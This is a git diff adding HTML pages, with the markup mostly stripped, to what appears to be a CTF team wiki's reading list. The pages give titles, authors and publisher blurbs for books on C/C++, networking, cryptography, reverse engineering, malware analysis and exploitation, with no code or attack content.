The authors have considerable experience teaching applied cryptography to engineering and computer science students and to professionals, and they make extensive use of examples, problems, and chapter reviews, while the book’s website offers slides, projects and links to further resources. This is a suitable textbook for graduate and advanced undergraduate courses and also for self-study by engineers.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/From 0 to 1 The CTFer Growth Path/index.html b/Book/From 0 to 1 The CTFer Growth Path/index.html new file mode 100644 index 000000000..e6cfdae1e --- /dev/null +++ b/Book/From 0 to 1 The CTFer Growth Path/index.html @@ -0,0 +1,8034 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + From 0 to 1: The CTFer Growth Path - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

From 0 to 1: The CTFer Growth Path

+

ctf

+

Recommend and be done with it, Nu1L yyds!

+

Jingdong buy: https://item.jd.com/12988770.html

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Network/Computer Networking/index.html b/Book/Network/Computer Networking/index.html new file mode 100644 index 000000000..eed94f29f --- /dev/null +++ b/Book/Network/Computer Networking/index.html @@ -0,0 +1,8113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Computer Networking: A Top-Down Approach - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Computer Networking: A Top-Down Approach

+

Author: James Kurose (Author), Keith Ross (Author)

+

Overview

+

Motivates readers with a top-down, layered approach to computer networking

+

Unique among computer networking texts, the Seventh Edition of the popular Computer Networking: A Top Down Approach** builds on the author’s long tradition of teaching this complex subject through a layered approach in a “top-down manner.” The text works its way from the application layer down toward the physical layer, motivating readers by exposing them to important concepts early in their study of networking. Focusing on the Internet and the fundamentally important issues of networking, this text provides an excellent foundation for readers interested in computer science and electrical engineering, without requiring extensive knowledge of programming or mathematics. The Seventh Edition** has been updated to reflect the most important and exciting recent advances in networking.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Network/Practical Packet Analysis/index.html b/Book/Network/Practical Packet Analysis/index.html new file mode 100644 index 000000000..4f4130df7 --- /dev/null +++ b/Book/Network/Practical Packet Analysis/index.html @@ -0,0 +1,8123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Practical Packet Analysis: Using Wireshark to Solve Real-World Network Problems - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Practical Packet Analysis: Using Wireshark to Solve Real-World Network Problems

+

Author: Chris Sanders (Author)

+

Overview

+

It's easy to capture packets with Wireshark, the world's most popular network sniffer, whether off the wire or from the air. But how do you use those packets to understand what's happening on your network?

+

With an expanded discussion of network protocols and 45 completely new scenarios, this extensively revised second edition of the best-selling Practical Packet Analysis will teach you how to make sense of your PCAP data. You'll find new sections on troubleshooting slow networks and packet analysis for security to help you better understand how modern exploits and malware behave at the packet level. Add to this a thorough introduction to the TCP/IP network stack and you're on your way to packet analysis proficiency.

+

Learn how to:

+
    +
  • Use packet analysis to identify and resolve common network problems like loss of connectivity, DNS issues, sluggish speeds, and malware infections
  • +
  • Build customized capture and display filters
  • +
  • Monitor your network in real-time and tap live network communications
  • +
  • Graph traffic patterns to visualize the data flowing across your network
  • +
  • Use advanced Wireshark features to understand confusing captures
  • +
  • Build statistics and reports to help you better explain technical network information to non-techies
  • +
+

Practical Packet Analysis is a must for any network technician, administrator, or engineer. Stop guessing and start troubleshooting the problems on your network.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Network/TCP IP Illustrated/index.html b/Book/Network/TCP IP Illustrated/index.html new file mode 100644 index 000000000..b1b8296b0 --- /dev/null +++ b/Book/Network/TCP IP Illustrated/index.html @@ -0,0 +1,8112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + TCP/IP Illustrated - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

TCP/IP Illustrated

+

Author: W. Richard Stevens (Author)

+

Overview

+

Finally, programmers that need to truly understand the TCP/IP protocol suite have a resource to turn to, TCP/IP Illustrated. Instead of merely describing the RFC's, bestselling author Rich Stevens takes an innovative "visual" approach which, combined with his writing style, results in an accessible "understandable" guide to TCP/IP.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/PWN/Core Principles of Reverse Engineering/index.html b/Book/PWN/Core Principles of Reverse Engineering/index.html new file mode 100644 index 000000000..d9b0dc500 --- /dev/null +++ b/Book/PWN/Core Principles of Reverse Engineering/index.html @@ -0,0 +1,8103 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Core Principles of Reverse Engineering - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Core Principles of Reverse Engineering

+

Author: [Han ] Lee Seung-won +Publisher: People's Post and Telecommunications Publishing House +Original Title: 리버싱 핵심원리 +Translated by: Wu Chuanhai +Publication Year: 2014-4-25 +Pages: 679 +Price: $109.00 +Binding: Paperback +Series: Turing Programming Series +ISBN: 9787115350183

+

img

+

Introduction

+

This book provides a very detailed introduction to the core principles of code reversal analysis. The author has worked for many years at the Ahnlab Institute, and the book includes not only the extensive code he has written himself based on this experience, but also a variety of techniques and skills that reverse engineering researchers must understand. This book is a shortcut to the door of reverse engineering, where a thorough understanding and practical mastery of the technique can be extended to many IT-related fields.

+

Readers who want to become reverse engineering researchers or developers who are working on reverse development will be greatly helped by this book. Also, those who want to become experts in the security field can easily start from this book.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/PWN/Encryption and Decryption/index.html b/Book/PWN/Encryption and Decryption/index.html new file mode 100644 index 000000000..687fe7f4b --- /dev/null +++ b/Book/PWN/Encryption and Decryption/index.html @@ -0,0 +1,8102 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Encryption and Decryption - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Encryption and Decryption

+

Author: Duan Gang +Publisher: Electronic Industry Press +Publisher: Bowen Insights +Year of publication: 2018-10-1 +Pages: 936 +Price: 198 +Binding: Paperback +Series: Security Technology Series +ISBN: 9787121336928

+

img

+

Introduction

+

Encryption and Decryption (4th Edition) takes encryption and decryption as the entry point and describes the basic knowledge and skills in the field of software security, such as debugging skills, reverse analysis, cryptographic protection, shell development, and virtual machine design. These knowledge are connected to each other, and readers can easily expand in the areas of vulnerability analysis, secure programming, virus analysis, and software protection after mastering these contents. From the perspective of employment, mastering the technologies related to encryption and decryption can improve one's competitive ability; from the perspective of personal growth, studying software security technologies helps to master some system underlying knowledge and is an important way to enhance professional skills. As a qualified programmer, besides mastering requirement analysis and design patterns, if you can master some knowledge of the underlying system and be familiar with the underlying structure of the whole system, you will benefit a lot in your work.

+

Encryption and Decryption (4th Edition) is suitable for security researchers, software debuggers and program developers, and can also be used as a supplementary textbook for information security-related majors in universities.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/PWN/Practical Malware Analysis/index.html b/Book/PWN/Practical Malware Analysis/index.html new file mode 100644 index 000000000..122995b38 --- /dev/null +++ b/Book/PWN/Practical Malware Analysis/index.html @@ -0,0 +1,8150 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Practical Malware Analysis - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Practical Malware Analysis

+

作者: Michael Sikorski / Andrew Honig +出版社: No Starch Press +副标题: The Hands-On Guide to Dissecting Malicious Software +出版年: 2012-2 +页数: 760 +定价: $ 67.74 +ISBN: 9781593272906

+

img

+

内容简介

+

Malware analysis is big business, and attacks can cost a company dearly. When malware breaches your defenses, you need to act quickly to cure current infections and prevent future ones from occurring. For those who want to stay ahead of the latest malware, Practical Malware Analysis will teach you the tools and techniques used by professional analysts. With this book as your guide, you'll be able to safely analyze, debug, and disassemble any malicious software that comes your way. You'll learn how to: * Set up a safe virtual environment to analyze malware * Quickly extract network signatures and host-based indicators * Use key analysis tools like IDA Pro, OllyDbg, and WinDbg * Overcome malware tricks like obfuscation, anti-disassembly, anti-debugging, and anti-virtual machine techniques * Use your newfound knowledge of Windows internals for malware analysis * Develop a methodology for unpacking malware and get practical experience with five of the most popular packers * Analyze special cases of malware with shellcode, C++, and 64-bit code Hands-on labs throughout the book challenge you to practice and synthesize your skills as you dissect real malware samples, and pages of detailed dissections offer an over-the-shoulder look at how the pros do it. You'll learn how to crack open malware to see how it really works, determine what damage it has done, thoroughly clean your network, and ensure that the malware never comes back. Malware analysis is a cat-and-mouse game with rules that are constantly changing, so make sure you have the fundamentals. Whether you're tasked with securing one network or a thousand networks, or you're making a living as a malware analyst, you'll find what you need to succeed in Practical Malware Analysis.

+

目录

+

Introduction +Chapter 0: Malware Analysis Primer +Part 1: Basic Analysis +Chapter 1: Basic Static Techniques +Chapter 2: Malware Analysis in Virtual Machines +Chapter 3: Basic Dynamic Analysis +Part 2: Advanced Static Analysis +Chapter 4: A Crash Course in x86 Disassembly +Chapter 5: IDA Pro +Chapter 6: Recognizing C Code Constructs in Assembly +Chapter 7: Analyzing Malicious Windows Programs +Part 3: Advanced Dynamic Analysis +Chapter 8: Debugging +Chapter 9: OllyDbg +Chapter 10: Kernel Debugging with WinDbg +Part 4: Malware Functionality +Chapter 11: Malware Behavior +Chapter 12: Covert Malware Launching +Chapter 13: Data Encoding +Chapter 14: Malware-Focused Network Signatures +Part 5: Anti-Reverse-Engineering +Chapter 15: Anti-Disassembly +Chapter 16: Anti-Debugging +Chapter 17: Anti-Virtual Machine Techniques +Chapter 18: Packers and Unpacking +Part 6: Special Topics +Chapter 19: Shellcode Analysis +Chapter 20: C++ Analysis +Chapter 21: 64-Bit Malware +Appendix A: Important Windows Functions +Appendix B: Tools for Malware Analysis +Appendix C: Solutions to Labs

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Programming/C++/C++ Primer Plus/index.html b/Book/Programming/C++/C++ Primer Plus/index.html new file mode 100644 index 000000000..5832c310a --- /dev/null +++ b/Book/Programming/C++/C++ Primer Plus/index.html @@ -0,0 +1,8159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + C++ Primer Plus - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

C++ Primer Plus

+

by Stephen Prata (Author)

+

Introduction

+

C++ Primer Plus, Sixth Edition

+

New C++11 Coverage

+

C++ Primer Plus is a carefully crafted, complete tutorial on one of the most significant and widely used programming languages today. An accessible and easy-to-use self-study guide, this book is appropriate for both serious students of programming as well as developers already proficient in other languages.

+

The sixth edition of C++ Primer Plus has been updated and expanded to cover the latest developments in C++, including a detailed look at the new C++11 standard.

+

Author and educator Stephen Prata has created an introduction to C++ that is instructive, clear, and insightful. Fundamental programming concepts are explained along with details of the C++ language. Many short, practical examples illustrate just one or two concepts at a time, encouraging readers to master new topics by immediately putting them to use.

+

Review questions and programming exercises at the end of each chapter help readers zero in on the most critical information and digest the most difficult concepts.

+

In C++ Primer Plus, you’ll find depth, breadth, and a variety of teaching techniques and tools to enhance your learning:

+
    +
  • A new detailed chapter on the changes and additional capabilities introduced in the C++11 standard
  • +
  • Complete, integrated discussion of both basic C language and additional C++ features
  • +
  • Clear guidance about when and why to use a feature
  • +
  • Hands-on learning with concise and simple examples that develop your understanding a concept or two at a time
  • +
  • Hundreds of practical sample programs
  • +
  • Review questions and programming exercises at the end of each chapter to test your understanding
  • +
  • Coverage of generic C++ gives you the greatest possible flexibility
  • +
  • Teaches the ISO standard, including discussions of templates, the Standard Template Library, the string class, exceptions, RTTI, and namespaces
  • +
+

Table of Contents

+

1: Getting Started with C++

+

2: Setting Out to C++

+

3: Dealing with Data

+

4: Compound Types

+

5: Loops and Relational Expressions

+

6: Branching Statements and Logical Operators

+

7: Functions: C++’s Programming Modules

+

8: Adventures in Functions

+

9: Memory Models and Namespaces

+

10: Objects and Classes

+

11: Working with Classes

+

12: Classes and Dynamic Memory Allocation

+

13: Class Inheritance

+

14: Reusing Code in C++

+

15: Friends, Exceptions, and More

+

16: The string Class and the Standard Template Library

+

17: Input, Output, and Files

+

18: The New C++11 Standard

+

A Number Bases

+

B C++ Reserved Words

+

C The ASCII Character Set

+

D Operator Precedence

+

E Other Operators

+

F The stringTemplate Class

+

G The Standard Template Library Methods and Functions

+

H Selected Readings and Internet Resources

+

I Converting to ISO Standard C++

+

J Answers to Chapter Reviews

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Programming/C++/C++ Primer/index.html b/Book/Programming/C++/C++ Primer/index.html new file mode 100644 index 000000000..6b3ffa503 --- /dev/null +++ b/Book/Programming/C++/C++ Primer/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + C++ Primer - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

C++ Primer

+

by Stanley Lippman (Author), Josée Lajoie (Author), Barbara Moo (Author)

+

Introduction

+

Bestselling Programming Tutorial and Reference Completely Rewritten for the New C11 Standard Fully updated and recast for the newly released C11 standard this authoritative and comprehensive introduction to C will help you to learn the language fast and to use it in modern highly effective ways Highlighting todays best practices the authors show how to use both the core language and its standard library to write efficient readable and powerful code C Primer Fifth Edition introduces the C standard library from the outset drawing on its common functions and facilities to help you write useful programs without first having to master every language detail The books many examples have been revised to use the new language features and demonstrate how to make the best use of them This book is a proven tutorial for those new to C an authoritative discussion of core C concepts and techniques and a valuable resource for experienced programmers especially those eager to see C11 enhancements illuminated Start Fast and Achieve MoreLearn how to use the new C11 language features and the standard library to build robust programs quickly and get comfortable with high-level programming Learn through examples that illuminate todays best coding styles and program design techniques Understand the rationale behind the rules why C11 works as it does Use the extensive crossreferences to help you connect related concepts and insights Benefit from up-to-date learning aids and exercises that emphasize key points help you to avoid pitfalls promote good practices and reinforce what youve learned Access the source code for the extended examples from informit comtitle0321714113 C Primer Fifth Edition features an enhanced layflat binding which allows the book to stay open more easily when placed on a flat surface This special binding method-notable by a small space inside the spine-also increases durability

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Programming/C/C Primer Plus/index.html b/Book/Programming/C/C Primer Plus/index.html new file mode 100644 index 000000000..1682312ad --- /dev/null +++ b/Book/Programming/C/C Primer Plus/index.html @@ -0,0 +1,8125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + C Primer Plus (Developer's Library) - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

C Primer Plus (Developer's Library)

+

by Stephen Prata (Author)

+

Introduction

+

C Primer Plus is a carefully tested, well-crafted, and complete tutorial on a subject core to programmers and developers. This computer science classic teaches principles of programming, including structured code and top-down design.

+

Author and educator Stephen Prata has created an introduction to C that is instructive, clear, and insightful. Fundamental programming concepts are explained along with details of the C language. Many short, practical examples illustrate just one or two concepts at a time, encouraging readers to master new topics by immediately putting them to use.

+

Review questions and programming exercises at the end of each chapter bring out the most critical pieces of information and help readers understand and digest the most difficult concepts. A friendly and easy-to-use self-study guide, this book is appropriate for serious students of programming, as well as developers proficient in other languages with a desire to better understand the fundamentals of this core language.

+

The sixth edition of this book has been updated and expanded to cover the latest developments in C as well as to take a detailed look at the new C11 standard. In C Primer Plus you’ll find depth, breadth, and a variety of teaching techniques and tools to enhance your learning:

+
    +
  • Complete, integrated discussion of both C language fundamentals and additional features
  • +
  • Clear guidance about when and why to use different parts of the language
  • +
  • Hands-on learning with concise and simple examples that develop your understanding of a concept or two at a time
  • +
  • Hundreds of practical sample programs
  • +
  • Review questions and programming exercises at the end of each chapter to test your understanding
  • +
  • Coverage of generic C to give you the greatest flexibility
  • +
+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Programming/C/C Programming Language/index.html b/Book/Programming/C/C Programming Language/index.html new file mode 100644 index 000000000..aae029f43 --- /dev/null +++ b/Book/Programming/C/C Programming Language/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + C Programming Language, 2nd Edition - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

C Programming Language, 2nd Edition

+

by Brian W. Kernighan (Author), Dennis M. Ritchie (Author)

+

Introduction

+

The authors present the complete guide to ANSI standard C language programming. Written by the developers of C, this new version helps readers keep up with the finalized ANSI standard for C while showing how to take advantage of C's rich set of operators, economy of expression, improved control flow, and data structures. The 2/E has been completely rewritten with additional examples and problem sets to clarify the implementation of difficult language constructs. For years, C programmers have let K&R guide them to building well-structured and efficient programs. Now this same help is available to those working with ANSI compilers. Includes detailed coverage of the C language plus the official C language reference manual for at-a-glance help with syntax notation, declarations, ANSI changes, scope rules, and the list goes on and on.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Programming/C/C Traps and Pitfalls/index.html b/Book/Programming/C/C Traps and Pitfalls/index.html new file mode 100644 index 000000000..e6b3cc043 --- /dev/null +++ b/Book/Programming/C/C Traps and Pitfalls/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + C Traps and Pitfalls - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

C Traps and Pitfalls

+

by Andrew Koenig (Author)

+

Introduction

+

Even C experts come across problems that require days of debugging to fix. This book helps to prevent such problems by showing how C programmers get themselves into trouble. Each of the book's many examples has trapped a professional programmer.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Programming/C/Expert C Programming Deep C Secrets/index.html b/Book/Programming/C/Expert C Programming Deep C Secrets/index.html new file mode 100644 index 000000000..863e1f21e --- /dev/null +++ b/Book/Programming/C/Expert C Programming Deep C Secrets/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Expert C Programming: Deep C Secrets - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Expert C Programming: Deep C Secrets

+

by Peter van der Linden (Author)

+

Introduction

+

This book is for the knowledgeable C programmer, this is a second book that gives the C programmers advanced tips and tricks. This book will help the C programmer reach new heights as a professional. Organized to make it easy for the reader to scan to sections that are relevant to their immediate needs.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Programming/C/Pointers on C/index.html b/Book/Programming/C/Pointers on C/index.html new file mode 100644 index 000000000..036faa047 --- /dev/null +++ b/Book/Programming/C/Pointers on C/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Pointers on C - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Pointers on C

+

by Kenneth Reek (Author)

+

Introduction

+

Designed for professionals and advanced students, Pointers On C provides a comprehensive resource for those needing in-depth coverage of the C programming language. An extensive explanation of pointer basics and a thorough exploration of their advanced features allows programmers to incorporate the power of pointers into their C programs. Complete coverage, detailed explanations of C programming idioms, and thorough discussion of advanced topics makes Pointers On C a valuable tutorial and reference for students and professionals alike.

+

Cover

+

img

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Security/0day Security/index.html b/Book/Security/0day Security/index.html new file mode 100644 index 000000000..dd1a560c0 --- /dev/null +++ b/Book/Security/0day Security/index.html @@ -0,0 +1,8112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 0day Security: Software Vulnerability Analysis Techniques - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

0day Security: Software Vulnerability Analysis Techniques

+

Author: Wang Qing

+

Introduction

+

Oday Security: Software Vulnerability Analysis Techniques (2nd Edition), edited by Qing Wang, is divided into five chapters, which systematically and comprehensively introduce the analysis, detection and protection of buffer overflow vulnerabilities in Windows platform. The first chapter is the basic theory and primary technology of vulnerability exploit, which can lead readers to get started quickly; the second chapter, on the basis of the first chapter, combines the cutting-edge achievements of relevant researchers at home and abroad, and summarizes the vulnerability technology from two aspects of attack and defense; the third chapter, from the perspective of security testers, discusses the vulnerability mining methods and ideas of several types of commonly used software; the fourth chapter fills the role of this type of book in The fourth chapter fills the technical gap in the mysterious field of Windows kernel security and related attack and defense knowledge; the fifth chapter uses a large number of Oday case studies to help readers understand the various ideas and methods in the first four chapters. Oday Security: Software Vulnerability Analysis Techniques (2nd Edition) can be used as a reference guide for network security practitioners and hacker enthusiasts, or as a guide for graduate or undergraduate students in network security.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Security/A Guide to Kernel Exploitation/index.html b/Book/Security/A Guide to Kernel Exploitation/index.html new file mode 100644 index 000000000..801916cef --- /dev/null +++ b/Book/Security/A Guide to Kernel Exploitation/index.html @@ -0,0 +1,8113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + A Guide to Kernel Exploitation: Attacking the Core - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

A Guide to Kernel Exploitation: Attacking the Core

+

Author: Enrico Perla B.Sc. Computer Science University of Torino M.Sc. Computer Science Trinity College Dublin (Author), Massimiliano Oldani (Author)

+

Introduction

+

A Guide to Kernel Exploitation: Attacking the Core discusses the theoretical techniques and approaches needed to develop reliable and effective kernel-level exploits, and applies them to different operating systems, namely, UNIX derivatives, Mac OS X, and Windows. Concepts and tactics are presented categorically so that even when a specifically detailed vulnerability has been patched, the foundational information provided will help hackers in writing a newer, better attack; or help pen testers, auditors, and the like develop a more concrete design and defensive structure. +The book is organized into four parts. Part I introduces the kernel and sets out the theoretical basis on which to build the rest of the book. Part II focuses on different operating systems and describes exploits for them that target various bug classes. Part III on remote kernel exploitation analyzes the effects of the remote scenario and presents new techniques to target remote issues. It includes a step-by-step analysis of the development of a reliable, one-shot, remote exploit for a real vulnerability a bug affecting the SCTP subsystem found in the Linux kernel. Finally, Part IV wraps up the analysis on kernel exploitation and looks at what the future may hold.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Security/Fuzzing for Software Security Testing and Quality Assurance/index.html b/Book/Security/Fuzzing for Software Security Testing and Quality Assurance/index.html new file mode 100644 index 000000000..6cde3242c --- /dev/null +++ b/Book/Security/Fuzzing for Software Security Testing and Quality Assurance/index.html @@ -0,0 +1,8112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Fuzzing for Software Security Testing and Quality Assurance (Artech House Information Security and Privacy) - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Fuzzing for Software Security Testing and Quality Assurance (Artech House Information Security and Privacy)

+

Author: Ari Takanen (Author), Jared D. Demott (Contributor), Charles Miller (Contributor)

+

Introduction

+

Learn the code cracker's malicious mindset, so you can find worn-size holes in the software you are designing, testing, and building. Fuzzing for Software Security Testing and Quality Assurance takes a weapon from the black-hat arsenal to give you a powerful new tool to build secure, high-quality software. This practical resource helps you add extra protection without adding expense or time to already tight schedules and budgets. The book shows you how to make fuzzing a standard practice that integrates seamlessly with all development activities. This comprehensive reference goes through each phase of software development and points out where testing and auditing can tighten security. It surveys all popular commercial fuzzing tools and explains how to select the right one for a software development project. The book also identifies those cases where commercial tools fall short and when there is a need for building your own fuzzing tools.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
